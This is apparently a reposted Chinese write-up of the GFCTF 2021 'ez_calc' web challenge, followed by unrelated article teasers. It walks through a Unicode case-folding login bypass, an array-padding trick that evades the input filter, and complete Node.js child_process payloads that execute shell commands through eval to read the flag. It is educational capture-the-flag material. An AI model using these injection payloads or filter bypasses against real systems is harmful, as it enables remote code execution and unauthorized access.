[GFCTF 2021]ez_calc day3

news2024/9/29 1:19:56

目录

此时我脑袋产生了几个问题: 

但是尝试了几个弱密码发现不对,找一下有没有代码泄露的点。

 咦发现ctrl+u查看的源码和f12显示的竟然不一样我丢,涨知识了。

js大小写有漏洞之前遇见过

<!--
        if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
        // 登录成功,设置 session
        
    }
  -->

 条件就是:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın   /admin123成功登录了进去

发现可以执行{{3*3}}首先环境js中的模板渲染,但是还差源码这个条件呀

看看源码,,,闲着无聊翻到了最下边,竟然在这里

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

 上面就是一个过滤字符sh ln fs x f lc , " (等,功能

然后关键点是最后eval(calc)会进行命令执行,

some() 方法会遍历由 split() 方法生成的字符数组中的所有元素

 

但是这里经过我自己的调试,发现只会遍历第一个元素

 然后碰到数组3,.点发现是过滤字符这样,只会返回前面的三个值,这样就可以进行数组逃逸了

此时我脑袋产生了几个问题: 

1、如何进行命令执行呢

2、为什么不直接写一个数组进行命令执行

3、所以如何产生calc呢

calc不能直接构造恶意参数呀,能的话数组也执行不了呀 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

 这里本来是想的是直接, spawnSync('cat',['/GFCTF...'])多个29个但是,可能是长度的问题不能这样

这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了,payload如下:


 calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

 程序将从标准输入读取数据  nl的作用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/503497.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Maven与spring学习

目录 该如何学习Maven&#xff0c;是先该学习spring还是先学习Maven 能讲一下该如何学习Maven吗&#xff1f; 火狐浏览器有能让网页翻译成为中文的插件吗 秋田和柴犬是同一个狗吗 该如何学习Maven&#xff0c;是先该学习spring还是先学习Maven 学习Maven可以与学习Spring同…

FPGA学习总结7:选择译码器实现

本博客以modelsim平台为例&#xff0c;实现了一个三八译码器&#xff1b; Step1.在modelsim创建新的工程&#xff1b; file-》new-》project&#xff0c;给工程命名&#xff0c;添加相应的文件&#xff1b; Step2.添加事先准备的源文件和Testbench文件&#xff1b; 3-8译码器…

p72 内网安全-域横向 CSMSF 联动及应急响应初识

数据来源 演示案例 MSF&CobaltStrike 联动 ShellWEB 攻击应急响应朔源-后门,日志WIN 系统攻击应急响应朔源-后门,日志,流量临时给大家看看学的好的怎么干对应 CTF 比赛 案例1 - MSF&CobaltStrike联动Shell CS下载与安装&#xff1a;cobaltstrike的安装与基础使用_co…

数字信号处理4

昨天是星期天&#xff0c;休息了一天&#xff0c;今天继续学习&#xff1a; 1、连续幅度信号的量化&#xff1a; 一个数字信号是一个数字序列&#xff0c;也就是说这个数字信号就可以用有限个数字来表示。 量化&#xff1a;通过把每个样本值表示为一个有限的数字&#xff0c…

CRM系统建设中需关注哪些关键节点?

随着数字化时代的到来&#xff0c;企业越来越依赖于互联网技术和数据管理&#xff0c;而客户关系管理&#xff08;CRM&#xff09;系统已经成为企业实现数字化转型和提升客户体验的关键工具之一。然而&#xff0c;在构建CRM系统的过程中&#xff0c;一些企业常常被一些关键节点…

键树(Keyword Tree)操作(插入删除查询)-双链树C语言实现_20230508

键树(Keyword Tree)操作&#xff08;插入/删除/查询)-双链树C语言实现_20230508 前言 键树称为数字查找树或者搜索提示树&#xff0c;树的度数d≥2&#xff0c;树中每个结点储存的不是完整的关键字&#xff0c;而是只含有组成关键字的符号&#xff0c;常见情况为字符或数字。…

wsl2 ubuntu ip 自动同步到windows端的vscode remote ssh(wsl2 ubuntu 静态ip 固定ip)

环境信息 ​ wsl2 中linux版本&#xff1a;ubuntu ​ windows版本&#xff1a; win10/win11 问题描述 最近装了wsl2&#xff0c;使用vscode远程连接wsl2时遇到了如下问题&#xff1a; 1、wsl2的ip无法固定 2、wsl2的ssh服务不能自动开启。 尝试了网上许多方法&#xff0c;…

Vue核心 Vue生命周期

1.18. Vue生命周期 1.18.1. 引出生命周期 生命周期 又名生命周期回调函数、生命周期函数、生命周期钩子是什么: Vue在关键时刻帮我们调用的一些特殊名称的函数。生命周期函数的名字不可更改&#xff0c;但函数的具体内容是程序员根据需求编写的。生命周期函数中的this指向是…

JUC并发编程与源码分析笔记13-AbstractQueuedSynchronizer之AQS

前置知识 公平锁和非公平锁可重入锁自旋思想LockSupport数据结构之双向链表设计模式之模板设计模式 AQS入门级别理论知识 是什么 AbstractQueuedSynchronizer&#xff1a;抽象的队列同步器。 用来实现锁或其他同步器组件的公共基础部分的抽象实现&#xff0c;是重量级基础框…

Hive知识回顾2

一、分桶表 1.1分桶表的概念 分桶表也叫做桶表&#xff0c;源自建表语法中bucket单词。是一种用于优化查询而设计的表类型。该功能可以让数据分解为若干个部分易于管理。 在分桶时&#xff0c;我们要指定根据哪个字段将数据分为几桶&#xff08;几个部分&#xff09;。默认规则…

人脸识别中的深度学习

深度学习在人脸识别中的应用 人脸识别的过程包括&#xff1a; 人脸检测人脸对齐特征提取&#xff08;在数学上&#xff0c;实质上是&#xff1a;空间变换&#xff09;特征度量 其中&#xff0c;特征提取与度量&#xff0c;是人脸识别问题中的关键问题&#xff0c;也是相关研究…

使用 ChatGPT 辅助学习——为自己找一个老师

我们每个人都有许多标签&#xff0c;例如高中生、成绩中等、文科&#xff0c;根据这些标签我和其他拥有相同标签的人分配了相同的教程、班级和老师&#xff0c;这可以带来效率上的提升&#xff0c;因为同一份教程、老师就可以服务几十上百人&#xff0c;而无须为每个人定制&…

软件测试工程师的核心竞争力究竟是什么?

对于测试员而言&#xff0c;了解自己岗位的核心竞争力是非常重要的。在职业初期&#xff0c;许多人认为掌握代码才是软件测试的核心竞争力&#xff0c;但是随着经验的增加&#xff0c;我们会发现真正的核心竞争力是由多个方面组成的。 首先&#xff0c;测试人员需要具备良好的测…

BERT 的面试题

BERT 的简介 1、BERT 是什么&#xff1f;它是用来做什么的&#xff1f; BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;是由Google开发的自然语言处理模型&#xff0c;是一种预训练模型&#xff0c;可以用于多种自然语言处理任务&…

【python自动化脚本—实现excel参数化循环调用判定结果】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、需求背景二、我要做什么三、已有接口四、脚本实现五、实现效果图 前言 为提升自己的python能力&#xff0c;记录在工作中实现的自动化脚本&#xff0c;温故…

51单片机(七)定时器

❤️ 专栏简介&#xff1a;本专栏记录了从零学习单片机的过程&#xff0c;其中包括51单片机和STM32单片机两部分&#xff1b;建议先学习51单片机&#xff0c;其是STM32等高级单片机的基础&#xff1b;这样再学习STM32时才能融会贯通。 ☀️ 专栏适用人群 &#xff1a;适用于想要…

写文章的软件-一款写作文章的软件

写文章的软件 写文章的软件是一种工具&#xff0c;可以帮助用户轻松快速地创作高质量的文章。该软件一般包括以下几个主要功能&#xff1a; 写作界面&#xff1a;提供简洁、美观的写作界面&#xff0c;让用户专注于文章创作&#xff0c;同时可以进行排版、字体、颜色等调整。 …

力扣707. 设计链表

707. 设计链表 - 力扣&#xff08;Leetcode&#xff09; class MyLinkedList { public:// 定义链表节点结构体struct LinkedNode {int val;LinkedNode* next;LinkedNode(int val):val(val), next(nullptr){}};// 初始化链表MyLinkedList() {_dummyHead new LinkedNode(0); // …

BasicVSR++代码解读(分模块介绍-前向传播函数)

一、前向传播函数def forward(self, lqs): 输入&#xff1a;低质量序列L,shape为**(n, t, c, h, w)。 输出&#xff1a;HR序列,shape为(n, t, c, 4h, 4w)**。 &#xff08;1&#xff09;读取输入数据的维度大小     这里的n,t,c,h,w分别表示&#xff1a;一个bitch的图片数…

数据结构之双向链表,实现双向链表的增删改查

目录 一、双向链表的定义 1.双向链表节点的定义 2.双向链表的初始化 二、双向链表的函数接口实现 1.双链表的尾插 2.双向链表的尾删 3.双向链表的头插 4.双向链表的头删 6.双向链表在pos前面插入 7.双向链表删除pos位置的节点 8.双向链表的销毁 总结 一、双向链表的定义 双向链…